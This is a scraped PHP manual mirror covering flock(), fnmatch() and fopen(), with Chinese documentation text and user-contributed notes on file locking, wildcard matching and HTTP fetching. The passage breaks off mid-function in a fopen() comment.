       while ($lf === FALSE && $i++ < 20) {
           clearstatcache();
           usleep(rand(5,85));
           $lf = @fopen ($lf, 'x');
       }
       // if lockfile (finally) has been created, file is ours, else give up ...
       if ($lf !== False) {
           $fp = fopen( $file, 'a');
           fputs( $fp, $str); // or use a callback
           fclose( $fp);
           // and unlock
           fclose($lf);
           unlink($lock);
       }
   }
?>
name at phism dot org
11-Apr-2004 03:01
regarding the first post,
microsleep() will sleep for the specified number of microseconds
07-Apr-2004 01:13
file locking with PHP over NFS shares simply does not work. Any attempt to use it will fail under any race condition.
The only atomic file operation which is usable over NFS is mkdir() which will either create a folder or return a error status...
So on NFS servers, forget flock(), use
@mkdir()
test the result, and if it fails, wait and retry.

Shamely, PHP does not always have short sleeping periods and sleep(1) is too long for most PHP servers that limit execution time (expect to have complaints from users experimenting many 500 errors if the script is too long...)

The bad thing about mkdir() is that it requires you to perform yourself a rmdir() when you're finished with the lock. If the rmdir() is not executed (because of execution time limitation), then the script will be aborted, leaving the locking directory present, and locking your site permanently.

So you also need to check for the date status of the created folder, in a separate NFS operation, to see if the lock is not stale and to clean it (but when this maximum life of the lock has occured), race conditions will happen if several threads or PHP servers will want to drop the staled lock-directory.

There's no simple solution, unless PHP releases a locking function based on mkdir() with AUTOMATIC rmdir() invokation when the PHP script engine terminates after a process or thread interrupt (unless it is killed -9, but a Web Server would normally not kill a script engine with a so brutal kill option).

PHP is most often deployed by free hosting providers on parallel servers over NFS. Using MySQL to coordonate concurrent threads or process is overkill and lacks performance for some pages that have frequent accesses, notably above 500 requests per hour.

PHP developers should really think about providing a working solution that will work on NFS, using mkdir() and rmdir() internally which is the only "magic" atomic operation allwoed there, and that is also performing the best (without requiring any complex client accesses to a SQL server...)
m4v3r at o2 dot pl
05-Apr-2004 07:44
Following is based on below comments. When something goes wrong, script will perform backup of writen data to randomly named file in temp dir.

<?
function safewrite($filename, $data){
   $rand = microtime();
   $rand = md5($rand);
   $temp = fopen("temp/$rand", "w");
   fwrite($temp, $data);
   fclose($temp);
   $otw = fopen($filename, "a+");
   if(flock($otw, LOCK_EX)){
       ftruncate($otw, 0);
       if(!fwrite($otw, $data)) $err = 1;
       flock($otw, LOCK_UN);
       fclose($otw);
   } else {
       $err = 1;
   }
   if($err == 1 || (filesize($filename) == 0 && strlen($data) <> 0)){
       die("<b>There was an error while writing to $filename. Contact site administrator!</b>");
   } else {
       unlink("temp/$rand");
   }
}
?>

Hope it helps.
Glip
30-Jan-2004 02:39
If you don't want use secondary lock file while truncating, try this:

<?php

$fp = fopen("/tmp/lock.txt", "a+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
   ftruncate($fp, 0);
   fwrite($fp, "Write something here\n");
   flock($fp, LOCK_UN); // release the lock
} else {
   echo "Couldn't lock the file !";
}

fclose($fp);

?>
BWO
21-Jan-2004 12:41
Using a secondary file for locking isn't too bad.  You simply surround your actual writes by the flock commands on the locking file.  Because of the blocking, your writes will not execute until you get the exclusive lock.

<?php
$filename = "data.txt";
$lock = ".lock";

// Lock the .lock file.
$lock_fp = fopen($lock, "r");
if (!flock($lock_fp, LOCK_EX)) {
   echo "locking failed";
}

// Write to the data file.
$fp = fopen($filename, "w");
fwrite( $fp, "word up!");
fclose($fp);

// Release the lock.
flock($lock_fp, LOCK_UN);
?>

Easy as pi.
Klaus Rabenstein von Heilabruck
01-Dec-2003 11:47
I'm not quite sure, whether it is possible to create a effective machanism that ensures file locking by creating something called a "lock-file" (Important: this lock-file isn't thought as file with contents, it only has symbolic meaning if it exists).

There seem to be several reasons for NOT doing the above:
1. You have to check, whether the lock-file exists
1.1 Do something if it exists
1.2 Do something if it doesn't exist
2. Ensure the lock file has rights that prevent messing up with it from another another program
3. and so on...

Hence, it comes forward that this method is very slow and not effective!!!
The argument "flock() is no good because of differing platform based handlings" fails because the methods you need to use the above are at least as much dependable on platforms as flock() is itself.
I'm not commenting on many posters before me for these reasons.

Let's consider you want to write some contents (C) to a file (F). In my opinion a temporay file (T) with a random filename should store the content you want to write to F. After you successfully stored C in T you open a stream to F an close it just after you write C in it. If everything went ok, you can delete T. Otherwise you output a message and encourage the user to try it again. One can use the contents saved in T as optional recovery data.
This way it is highly impossible that another program is messing up with your data because T's name can hardly be guessed, and if flock() works on your system, it is locked as well.
Of course, my method extends the meaning of flock(), but I do not see another way how to deal with problems that might occur when using flock() only.
I hope I wasn't too theoretical.
bret at alliances dot org
31-Oct-2003 07:05
A poster above (below?) has the right idea with writing to a tempory file, then copying. However, achieving the 'right' to use the temp file in the first place is still a race condition issue:

  if (file_exists($temp_filename)) {
     $fd = fopen ($temp_filename, 'w');
  }

is still wrong, there's still a race condition between checking to whether the temp file exists and creating it.

Using the 'x' option for opening is a way to avoid this. With the 'x' option chosen, the fopen will fail (returning FALSE) if the file already exists.

   $fd = fopen ($tmp, 'x');
   if ($blocking == 1) {
     while ($fd === FALSE) {
       clearstatcache();
       usleep(rand(5,70));
       $fd = fopen ($tmp, 'x');
     }
   }
thanatos_101 at yahoo dot com
25-Sep-2003 08:42
flock() is disabled in some linux kernels (2.4 in my case), it
always returns success.  i'm using sysv semaphores to
compensate.

notice : knowing how to use icps and icprm are essential to
debugging semaphore stuff!!!

simple example for an exclusive only lock thingy

     // obtain exclusive lock
   function lock ($filename) {
       // get semaphore key
     $sem_key = ftok($filename, 'LOCK');
       // get semaphore identifier
     $sem_id = sem_get($sem_key, 1);
       // acquire semaphore lock
     sem_acquire($sem_id);
       // return sem_id
     return $sem_id;
   }

     // release lock
   function unlock($sem_id) {
       // release semaphore lock
     sem_release($sem_id);
   }
rob
29-Aug-2003 06:45
locking a file exclusively *and* in non-blocking mode:

if (flock($fh, LOCK_EX | LOCK_NB)) {
  // do sumthin
}
else {
  // fail, report file locked
}
MPHH
06-Jul-2003 03:22
To solve most of the "PHP quit writing my file and messed it up" problems just add:

ignore_user_abort(true);

before fopen and:

ignore_user_abort(false);

after fclose, now that was easy.
joel[at_sign]purerave.com
28-May-2003 09:12
I have found that if you open a currently locked file with 'w' or 'w+' ("file pointer at the beginning of the file and truncate the file to zero length")  then it will not truncate the file when the lock is released and the file available.

Example I used to test it:
a.php:
$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

$steps = 10;
// write to the file
for ($i=0; $i< $steps; $i++) {
   fwrite($fp, 'a '.time().' test '. $i."\n");
   sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );
----------
b.php:

$fp = fopen( "/tmp/lock.txt", "w+" );
flock( $fp, LOCK_EX ); // exclusive lock

// ftruncate($fp, 0) is needed here! <----

$steps = 5;
// write to the file
for ($i=0; $i< $steps; $i++) {
   fwrite($fp, 'b '.time().' test '. $i."\n");
   sleep(1);
}
flock( $fp, LOCK_UN ); // release the lock
fclose( $fp );

Loading a.php then loading b.php right after will result in:
b 1054075769 test 0
b 1054075770 test 1
b 1054075771 test 2
b 1054075772 test 3
b 1054075773 test 4
a 1054075764 test 5
a 1054075765 test 6
a 1054075766 test 7
a 1054075767 test 8
a 1054075768 test 9

As you can see, b.php does not truncate the file as the w+ would suggest if the file were instantly available. But only moves the pointer to the begining of the file. If b.php was loaded after a.php finished then there would be no "a ..." lines in the file, since it would be truncated.

To fix this you have to add ftruncate($fp, 0) right after the flock.

'r+' and 'a' seem to work fine, though.
hhw at joymail dot com
16-Apr-2003 02:50
Users may find that the following is more useful than flock.

function filelock($operation) {
   $lock_file = "filelock.txt";
   switch($operation) {
       case LOCK_SH: // 1
       case LOCK_EX: // 2
       do {
           clearstatcache();
           usleep(rand(5,70));
       }
       while(file_exists($lock_file));
       $fp = fopen2($lock_file, "wb");
       fwrite($fp, "blah blah blah");
       fclose($fp);
       break;
       case LOCK_UN: // 3
       do {
           clearstatcache();
           usleep(rand(5,70));
       }
       while(!file_exists($lock_file));
       unlink($lock_file);
       break;
       default:
       break;
   }
}
ags one three seven at psu dot edu
13-Mar-2003 02:11
I am not certain how well this works (I've never had problems, but I haven't stress-tested it), but I have been using this solution for performing safe file locking and writing:

   if($fl = fopen($filepath))
       if(flock($fl, LOCK_EX))
           {

           fseek($fl, 0);
           ftruncate($fl, 0);

           fwrite($fl, $whateverdata);

           fflush($fl);
           flock($fl, LOCK_UN);
           fclose($fl);

           }

This "cheats" and opens a file for writing by opening it for append (which doesn't truncate), then acquiring the lock first before performing any truncation or actual write operations.  Thus, if the file cannot be successfully locked, it won't be changed at all.

I usually like to assemble the data to be written in one large buffer first, so the file is open and locked for the shortest time possible.  This is also friendlier to other scripts that are blocking on lock.
derf (at) tamu (dott) edu
26-Feb-2003 07:27
This addresses a few topics posted earlier:

First (to sbsaylors), using a seperate lockfile has problems since you must seperately check the lockfile, then create the lockfile, then perform your action.  In the event of two processes running at the same time, you may wind up in the situation where there is no file and execution proceeds as follows:
A:checks-for-file
B:checks-for-file
A:creates-file
B:creates-file
A:open-file
B:open-file
A:writes
B:writes
... now, both A and B have written different things to the file, which in most systems would be buffered in seperate memory for A and B.  Thus, if A closes first, when B closes its buffer will overwrite A.  If B closes first, A will overwrite B.

Other situations may arise where everything looks ok, because B's entire execution happens before A opens the file.  But then, B will delete the lock file and A will be unprotected.

Second (to the nameless person): flock doesn't exist to guarantee that your program doesn't stop running.  It only makes sure that other programs that bother to flock() won't mess with the file while you're messing with it.

Proper method to do this would be to write into a temporary file, then copy that file over the original in a single operation.  If the execution stops, only the temp file is corrupt.
carl at thep lu se
16-Feb-2003 02:31
[editors note: try out php.net/dio_fcntl]

As flock() doesn't work over NFS (whereas fcntl() does, but there's no PHP interface for that), you may have to provide some sort of backup locking system if for one reason or other you need to use NFS (or VFAT, but as the documentation points out it's antiquated). One way of achieving this is to use a relational database. If you have a table T with an integer column cnt and a _single_ row, you can:
UPDATE T set cnt = cnt + 1 WHERE cnt >= 0
to obtain a shared lock (and of course you need to verify that there was one affected row). For an exclusive lock:
UPDATE T set cnt = -1 WHERE cnt = 0
This scheme has two problems: You rely on the script to be able to release locks before exiting, and there is no way to wait for a lock (except polling). On the whole, if you can use flock() instead, use flock().
05-Sep-2002 02:58
Warning! When PHP is running as a CGI or fast-CGI extension in Apache, flock() does not guarantee that your file updates will complete!!!
If a browser starts a request and interrupts it fast enough by using many F5-key refreshes, Apache will KILL the PHP process in the middle of the update operation (because it will detect an unexpected socket close before the PHP script is complete), leaving an incomplete or truncated file!

A simple PHP script that increments a counter in a text file will demonstrate this: to update the counter, one needs to gain a lock then open the counter file in "a+" mode, rewind it, read it, rewind again, ftruncate it befire writing the new value and closing the counter file and the lock file. Have your script display the new counter value.
Now use your favorite browser on your script, and make many refreshes from the same PC, using the F5-Refresh key, you'll see that sometimes the counter returns to 0, because there's an interruption after the counter file was truncated but before the new counter value was written to the file!

Note that this affects also simple databases updates without rollback logs such as MySQL!

Before updating any data, as a security measure, and if you don't have rollback logs, you should strictly limit the number of update requests per seconds a user can make through your PHP script.

Shame, this requires a database or logging file to enable tracking user activity.

The only solution is to use an auto-backup system (for file-based databases), or a database engine with rollback capability...

I don't know if PHP implements a way to handle gracefully kill signals sent by Apache, so that we can ensure that we can complete a critical update operation.

For this problem, flock() is not a solution!
This is a MAJOR security issue for all sites that use text-file based databases!
geoff at message dot hu
07-Aug-2002 04:10
You should lock the file _before_ opening it, and unlock _after_ closing it. Othervise an another process might be able to access the file between the lock/unlock and the open/close operation.
majer at kn dot vutbr dot cz
28-Feb-2002 10:19
The function flock() I can use only after I open file for blocking writing or reading  to file.

But I found, that function flock() do not  block file agains delete by
$f=fopen($file,"w"); nor agains ftruncate($f,0);

sorry my English
sbsaylors at yahoo dot com
23-Jan-2002 06:39
Well I needed some kind of "lock" in windows, so I just created a lock.file in that directory.  So if anything wants to 'write' to that file (or append, whatever) it checks to see if a lock.file (or whatever name you want to use) is there and if the date of the file is old.  If its old (1 hour) then it deletes it and goes ahead.  If its not old then it waits a random time.  When its finised it deletes the file.

Seems to work alright but I havent tested anything and its only used for maybe a 100 hits a day but... :)
add a note add a note

后退 | 起点 | 前进
filetype | 上一级 | fnmatch


fnmatch

(PHP 4 >= 4.3.0, PHP 5)

fnmatch -- 用模式匹配文件名

说明

bool fnmatch ( string pattern, string string [, int flags] )

fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。

此函数对于文件名尤其有用，但也可以用于普通的字符串。普通用户可能习惯于 shell 模式或者至少其中最简单的形式 '?' 和 '*' 通配符，因此使用 fnmatch() 来代替 ereg() 或者 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便。

例子 1. 用 shell 中的通配符模式匹配来检查颜色

<?php
if (fnmatch("*gr[ae]y", $color)) {
  echo "some form of gray ...";
}
?>

警告

目前该函数无法在 Windows 或其它非 POSIX 兼容的系统上使用

参见 glob()，ereg()，preg_match() 和 UNIX 中 fnmatch(3) 的手册中的标志名（只要本文档中还未包括它们）。

add a note add a note User Contributed Notes
jsnell at networkninja dot com
03-Mar-2006 11:12
The last line of soywiz at gmail dot com windows replacement should be changed to:

   return preg_match('/' . $npattern . '$/i', $string);

otherwise, a pattern for *.xml will match file.xml~ or any else anything with the text *.xml in it, regardless of position.
soywiz at gmail dot com
26-Jul-2005 07:07
A "fnmatch" alternative that converts the pattern, to a valid preg one and uses preg_match then. It will work on windows.

<?php
if (!function_exists('fnmatch')) {
function fnmatch($pattern, $string) {
   for ($op = 0, $npattern = '', $n = 0, $l = strlen($pattern); $n < $l; $n++) {
       switch ($c = $pattern[$n]) {
           case '\\':
               $npattern .= '\\' . @$pattern[++$n];
           break;
           case '.': case '+': case '^': case '$': case '(': case ')': case '{': case '}': case '=': case '!': case '<': case '>': case '|':
               $npattern .= '\\' . $c;
           break;
           case '?': case '*':
               $npattern .= '.' . $c;
           break;
           case '[': case ']': default:
               $npattern .= $c;
               if ($c == '[') {
                   $op++;
               } else if ($c == ']') {
                   if ($op == 0) return false;
                   $op--;
               }
           break;
       }
   }

   if ($op != 0) return false;

   return preg_match('/' . $npattern . '/i', $string);
}
}
?>
phlipping at yahoo dot com
06-Aug-2003 06:59
you couls also try this function that I wrote before I found fnmatch:

function WildToReg($str)
{
  $s = "";
  for ($i = 0; $i < strlen($str); $i++)
  {
   $c = $str{$i};
   if ($c =='?')
   $s .= '.'; // any character
   else if ($c == '*')
   $s .= '.*'; // 0 or more any characters
   else if ($c == '[' || $c == ']')
   $s .= $c;  // one of characters within []
   else
   $s .= '\\' . $c;
  }
  $s = '^' . $s . '$';

  //trim redundant ^ or $
  //eg ^.*\.txt$ matches exactly the same as \.txt$
  if (substr($s,0,3) == "^.*")
   $s = substr($s,3);
  if (substr($s,-3,3) == ".*$")
   $s = substr($s,0,-3);
  return $s;
}

if (ereg(WildToReg("*.txt"), $fn))
  print "$fn is a text file";
else
  print "$fn is not a text file";
add a note add a note

后退 | 起点 | 前进
flock | 上一级 | fopen


fopen

(PHP 3, PHP 4, PHP 5)

fopen -- 打开文件或者 URL

说明

resource fopen ( string filename, string mode [, bool use_include_path [, resource zcontext]] )

fopen() 将 filename 指定的名字资源绑定到一个流上。如果 filename 是 "scheme://..." 的格式，则被当成一个 URL，PHP 将搜索协议处理器（也被称为封装协议）来处理此模式。如果该协议尚未注册封装协议，PHP 将发出一条消息来帮助检查脚本中潜在的问题并将 filename 当成一个普通的文件名继续执行下去。

如果 PHP 认为 filename 指定的是一个本地文件，将尝试在该文件上打开一个流。该文件必须是 PHP 可以访问的，因此需要确认文件访问权限允许该访问。如果激活了 安全模式 或者 open_basedir 则会应用进一步的限制。

如果 PHP 认为 filename 指定的是一个已注册的协议，而该协议被注册为一个网络 URL，PHP 将检查并确认 allow_url_fopen 已被激活。如果关闭了，PHP 将发出一个警告，而 fopen 的调用则失败。

注: 所支持的协议列表见附录 L。某些协议（也被称为 wrappers）支持 context 和 php.ini 选项。参见相应的页面哪些选项可以被设定。（也就是 php.ini 的值 user_agent 用在 http 协议中。）有关

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

注: 自 PHP 4.3.2 起，对所有区别二进制和文本模式的平台默认模式都被设为二进制模式。如果你在升级后脚本碰到问题，尝试暂时使用 't' 标记，直到所有的脚本都照以下所说的改为更具移植性以后。

mode 参数指定了所要求到该流的访问类型。可以是以下：

表格 1. fopen() 中的 mode 的可能值列表

mode | 说明
'r' | 只读方式打开，将文件指针指向文件头。
'r+' | 读写方式打开，将文件指针指向文件头。
'w' | 写入方式打开，将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' | 读写方式打开，将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' | 写入方式打开，将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' | 读写方式打开，将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' | 创建并以写入方式打开，将文件指针指向文件头。如果文件已存在，则 fopen() 调用失败并返回 FALSE，并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持，仅能用于本地文件。
'x+' | 创建并以读写方式打开，将文件指针指向文件头。如果文件已存在，则 fopen() 调用失败并返回 FALSE，并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持，仅能用于本地文件。

注: 不同的操作系统家族具有不同的行结束习惯。当你写入一个文本文件并想插入一个新行时，你需要使用符合你操作系统的行结束符号。基于 Unix 的系统使用 \n 作为行结束字符，基于 Windows 的系统使用 \r\n 作为行结束字符，基于 Macintosh 的系统使用 \r 作为行结束字符。

如果写入文件时使用了错误的行结束符号，则其它应用程序打开这些文件时可能会表现得很怪异。

Windows 下提供了一个文本转换标记（'t'）可以透明地将 \n 转换为 \r\n。与此对应你还可以使用 'b' 来强制使用二进制模式，这样就不会转换你的数据。要使用这些标记，要么用 'b' 或者用 't' 作为 mode 参数的最后一个字符。

默认的转换模式依赖于 SAPI 和你使用的 PHP 版本，因此为了便于移植鼓励你总是指定恰当的标记。当操作以 \n 作为行结束定界符的纯文本文件时，如果你还期望这些文件可以用于其它应用程序例如 Notepad，则应该在脚本中使用 't' 模式。在所有其它情况下使用 'b'。

在操作二进制文件时如果没有指定 'b' 标记，可能会碰到一些奇怪的问题，包括坏掉的图片文件以及关于 \r\n 字符的奇怪问题。

注: 为移植性考虑，强烈建议在用 fopen() 打开文件时总是使用 'b' 标记。

注: 再一次，为移植性考虑，强烈建议你重写那些依赖于 't' 模式的代码使其使用正确的行结束符并改成 'b' 模式。

如果也需要在 include_path 中搜寻文件的话，可以将可选的第三个参数 use_include_path 设为 '1' 或 TRUE。

如果打开失败，本函数返回 FALSE。

例子 1. fopen() 例子

<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:password@example.com/somefile.txt", "w");
?>

如果在用服务器模块版本的 PHP 时在打开和写入文件上遇到问题，记住要确保所使用的文件是服务器进程所能够访问的。

在 Windows 平台上，要小心转义文件路径中的每个反斜线，或者用斜线。

<?php
$handle = fopen("c:\\data\\info.txt", "r");
?>

警告

当使用 SSL 时，Microsoft IIS 将违反协议不发送 close_notify 标记就关闭连接。PHP 将在到达数据尾端时报告 "SSL: Fatal Protocol Error"。要绕过此问题，应将 error_reporting 级别降低为不包括警告。PHP 4.3.7 及更高版本可以在当使用 https:// 封装协议打开流的时候检测出有此问题的 IIS 服务器并抑制警告。如果使用 fsockopen() 来创建一个 ssl:// 套接字，则需要自己检测并抑制警告信息。

注: 当安全模式被激活时，PHP 将检查被操作的目录是否和正在执行的脚本有相同的 UID（所有者）。

参见附录 L，fclose()，fgets()，fread()，fwrite()，fsockopen()，file()，file_exists()，is_readable()，stream_set_timeout() 和 popen()。

add a note add a note User Contributed Notes
roman dot nastenko at gmail dot com
19-May-2006 11:09
php 4.4.2 realy introduced a blocker problem with fopen() (http://bugs.php.net/bug.php?id=36017)

In that case you can use sockets for file open.

Example. Not

   $viart_xml = fopen("http://www.viart.com/viart_shop.xml", "r");

But

   $viart_xml = fsockopen("www.viart.com", 80, $errno, $errstr, 12);

   fputs($viart_xml, "GET /viart_shop.xml HTTP/1.0\r\n");
   fputs($viart_xml, "Host: www.viart.com\r\n");
   fputs($viart_xml, "Referer: http://www.viart.com\r\n");
   fputs($viart_xml, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\r\n");

After that you can use $viart_xml as a simple file :)
puneet at puneetarora dot com
03-May-2006 06:25
Refering to the note by [info at b1g dot de]
on (24-Oct-2005 11:54)

sometimes you may also want HTTP error code returned from the server. The code of the HTTPRequest class can be modified as followed to do so ..

1. Add another member variable to the class

var $_error;      // HTTP Error code

2. After  the lines
.
.
       // parse headers
       $headers = array();
       $lines = explode($crlf, $header);
.
.

add

list($proto, $this->_error, $reply) = explode(" ", $lines[0]);

$proto and $reply can be treated as junk variables.

once DownloadToString() is called, the HTTP error code will be contained in the _error property of the object.
ceo at l-i-e dot com
11-Apr-2006 11:13
If you need fopen() on a URL to timeout, you can do like:
<?php
  $timeout = 3;
  $old = ini_set('default_socket_timeout', $timeout);
  $file = fopen('http://example.com', 'r');
  ini_set('default_socket_timeout', $old);
  stream_set_timeout($file, $timeout);
  stream_set_blocking($file, 0);
  //the rest is standard
?>
zerkella at mi6 dot com dot ua
05-Apr-2006 10:02
During development of a set of non-blocking functions for downloading files from http-servers I've discovered that it's not possible to set timeout for fopen('http://somesite.com/somefile', 'rb').

All functions for controlling non-blocking mode (stream_set_blocking, stream_set_timeout, stream_context_set_option) use resource handle that is created via fopen(). But fopen() for HTTP connections internally makes quite a big set of actions: it creates socket, resolves webserver name, establishes actual connection. So hanging can occur anywhere in resolving and creating tcp-connection but you cannot control it.

Solutions:
1) Use socket functions. Set socket in non-blocking mode just after creation. Implement HTTP-protocol yourself. In source code use these manually created functions.
2) Write a wrapper for myprotocol://, which internally will use first solution, but in source code you'll use fopen('myprotocol://somesite.com/somefile', 'rb') with some way to set timeout before calling it.
Jeff McKenna
01-Mar-2006 05:26
It seems php 4.4.2 introduced a blocker problem with fopen() (http://bugs.php.net/bug.php?id=36017).
Paul Yanchenko
22-Jan-2006 09:16
I found a strange behaviour of PHP when several scripts trying to fopen a file for writing access simultaneously. I expect that this will result file sharing violation, but it's not and all scripts can open and write that file. I'd like to use sharing violation to control uniqueness of script instance, but now I even do know how to do this. The only idea is to use "x" flag in fopen(), but if that lock-file somehow will not be deleted - script will never run.

PHP 5.0.5, Windows XP Pro SP2
flobee
15-Jan-2006 11:58
download: i need a function to simulate a "wget url" and do not buffer the data in the memory to avoid thouse problems on large files:
<?php
function download($file_source, $file_target) {
       $rh = fopen($file_source, 'rb');
       $wh = fopen($file_target, 'wb');
       if ($rh===false || $wh===false) {
// error reading or opening file
           return true;
       }
       while (!feof($rh)) {
           if (fwrite($wh, fread($rh, 1024)) === FALSE) {
                   // 'Download error: Cannot write to file ('.$file_target.')';
                   return true;
               }
       }
       fclose($rh);
       fclose($wh);
       // No error
       return false;
   }
?>
anonymous at anonymous dot com
27-Dec-2005 07:11
Contrary to a note below the concept of what the preferred line ending is on mac os x is a little bit fuzzy.  I'm pretty sure all the bsd utils installed by default are going to use \n but that is not necessarily the norm.  Some apps will use that while others will use \r.

You should be prepared to deal with either.
Camillo
20-Dec-2005 01:58
Contrary to what this page says, the preferred line ending on Macintosh systems is \n (LF). \r was used on legacy versions of the Mac OS (pre-OS X), and I don't think PHP even runs on those.
151408626 dot unique at servux dot org
19-Dec-2005 08:05
I found a nice trick how to work around the issue (mentioned here: http://www.php.net/manual/en/function.fopen.php#41243) that the PHP  process will block on opening a FIFO until data is sent to it:

Simply do send some data to the FIFO, using an echo command started in background (and ignoring that spedific data, when parsing whatever read from the FIFO).

A very simple example of that:
<?

// path & name of your FIFO-file
$someFIFO = "path/to/your/fifo"

// some string, that won't be found in your regular input data
$uniqueData = "some specific data";

// this statement actually does the trick providing some data waiting in the FIFO:
//  start echo to send data to the FIFO in the background!!
//  NOTE: parenthesis & second redirection (to /dev/null) are
//  important to keep PHP from waiting for echo to terminate!
system("(echo -n '$uniqueData' >$someFIFO) >/dev/null &");

// now you can safely open the FIFO, without the PHP-process being blocked
$handle = fopen($someFIFO, 'r');

// loop reading data from the FIFO
while (TRUE) {
   $data = fread($handle, 8192);

   // eliminate the initially sent data from our read input
   //  NOTE: this is done only in a very simplyfied way in this example,
   //  that will break if that data-string might also be part of your regular input!!
   if (!(strpos($inp, $uniqueData) === FALSE))    $data = str_replace($uniqueData, '', $data);

// here comes your processing of the read data...
}

?>
info at b1g dot de
24-Oct-2005 07:54
Simple class to fetch a HTTP URL. Supports "Location:"-redirections. Useful for servers with allow_url_fopen=false. Works with SSL-secured hosts.

<?php
#usage:
$r = new HTTPRequest('http://www.php.net');
echo $r->DownloadToString();

class HTTPRequest
{
   var $_fp;        // HTTP socket
   var $_url;        // full URL
   var $_host;        // HTTP host
   var $_protocol;    // protocol (HTTP/HTTPS)
   var $_uri;        // request URI
   var $_port;        // port

   // scan url
   function _scan_url()
   {
       $req = $this->_url;

       $pos = strpos($req, '://');
       $this->_protocol = strtolower(substr($req, 0, $pos));

       $req = substr($req, $pos+3);
       $pos = strpos($req, '/');
       if($pos === false)
           $pos = strlen($req);
       $host = substr($req, 0, $pos);

       if(strpos($host, ':') !== false)
       {
           list($this->_host, $this->_port) = explode(':', $host);
       }
       else
       {
           $this->_host = $host;
           $this->_port = ($this->_protocol == 'https') ? 443 : 80;
       }

       $this->_uri = substr($req, $pos);
       if($this->_uri == '')
           $this->_uri = '/';
   }

   // constructor
   function HTTPRequest($url)
   {
       $this->_url = $url;
       $this->_scan_url();
   }

   // download URL to string
   function DownloadToString()
   {
       $crlf = "\r\n";

       // generate request
       $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf
           .    'Host: ' . $this->_host . $crlf
           .    $crlf;

       // fetch
       $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
       fwrite($this->_fp, $req);
       while(is_resource($this->_fp) && $this->_fp && !feof($this->_fp))
           $response .= fread($this->_fp, 1024);
       fclose($this->_fp);

       // split header and body
       $pos = strpos($response, $crlf . $crlf);
       if($pos === false)
           return($response);
       $header = substr($response, 0, $pos);
       $body = substr($response, $pos + 2 * strlen($crlf));

       // parse headers
       $headers = array();
       $lines = explode($crlf, $header);
       foreach($lines as $line)
           if(($pos = strpos($line, ':')) !== false)
               $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos+1));

       // redirection?
       if(isset($headers['location']))
       {
           $http = new HTTPRequest($headers['location']);
           return($http->DownloadToString($http));
       }
       else
       {
           return($body);
       }
   }
}
?>
admin at sellchain dot com
17-Oct-2005 10:34
TIP: If you are using fopen and fread to read HTTP or FTP or Remote Files, and experiencing some performance issues such as stalling, slowing down and otherwise, then it's time you learned a thing called cURL.

Performance Comparison:

10 per minute for fopen/fread for 100 HTTP files
2000 per minute for cURL for 2000 HTTP files

cURL should be used for opening HTTP and FTP files, it is EXTREMELY reliable, even when it comes to performance.

I noticed when using too many scripts at the same time to download the data from the site I was harvesting from, fopen and fread would go into deadlock. When using cURL i can open 50 windows, running 10 URL's from each window, and getting the best performance possible.

Just a Tip :)
nefertari at nefertari dot be
20-Sep-2005 08:47
Important note:

You have always to use the real path name for a file with the command fopen [for example: fopen($filename, 'w')], never use a symbolic link, it will not work (unable to open $filename).
francis dot fish at gmail dot com
10-Sep-2005 11:10
None of the examples on the page test to see if the file has been opened successfully. Fopen will return false if it failed. To quickly extend one of the examples in the manual:

  $filename = "some.dat" ;
  $dataFile = fopen( $filename, "r" ) ;

  if ( $dataFile )
  {
   while (!feof($dataFile))
   {
       $buffer = fgets($dataFile, 4096);
       echo $buffer;
   }

   fclose($dataFile);
  }
  else
  {
   die( "fopen failed for $filename" ) ;
  }

Hope this is some use.
durwood at speakeasy dot NOSPAM dot net
07-Sep-2005 02:43
I couldn't for the life of me get a certain php script working when i moved my server to a new Fedora 4 installation. The problem was that fopen() was failing when trying to access a file as a URL through apache -- even though it worked fine when run from the shell and even though the file was readily readable from any browser.  After trying to place blame on Apache, RedHat, and even my cat and dog, I finally ran across this bug report on Redhat's website:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=164700

Basically the problem was SELinux (which I knew nothing about) -- you have to run the following command in order for SELinux to allow php to open a web file:

/usr/sbin/setsebool httpd_can_network_connect=1

To make the change permanent, run it with the -P option:

/usr/sbin/setsebool -P httpd_can_network_connect=1

Hope this helps others out -- it sure took me a long time to track down the problem.
ericw at w3consultant dot net
03-Sep-2005 02:49
RE: using fopen to read an http doc
I beat my head against the wall trying to figure out why i couldn't fopen("http://www.mainserver.com/mySettings.php","r");
on just 1 webserver. It was working on all the other webservers, but on this one, it would just hang, then fail.

Finally i figured out the machine i was doing it on was unable to look up domain names!
If you are having this problem try an nslookup to the website you are having from the command line.
ie: nslookup www.yahoo.com

If that fails, the fopen will not work either.
I changed to an IP (temp solution) and it works like a charm.
-e
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br)
18-Aug-2005 04:11
If you are getting message "Warning: fopen(): URL file-access is disabled in the server configuration", you can use function below to get the content from a local or remote file.

Function uses CURL lib, follow the link to get help: http://www.php.net/curl

<?php
/*
   * @return string
   * @param string $url
   * @desc Return string content from a remote file
   * @author Luiz Miguel Axcar (lmaxcar@yahoo.com.br)
*/

function get_content($url)
{
   $ch = curl_init();

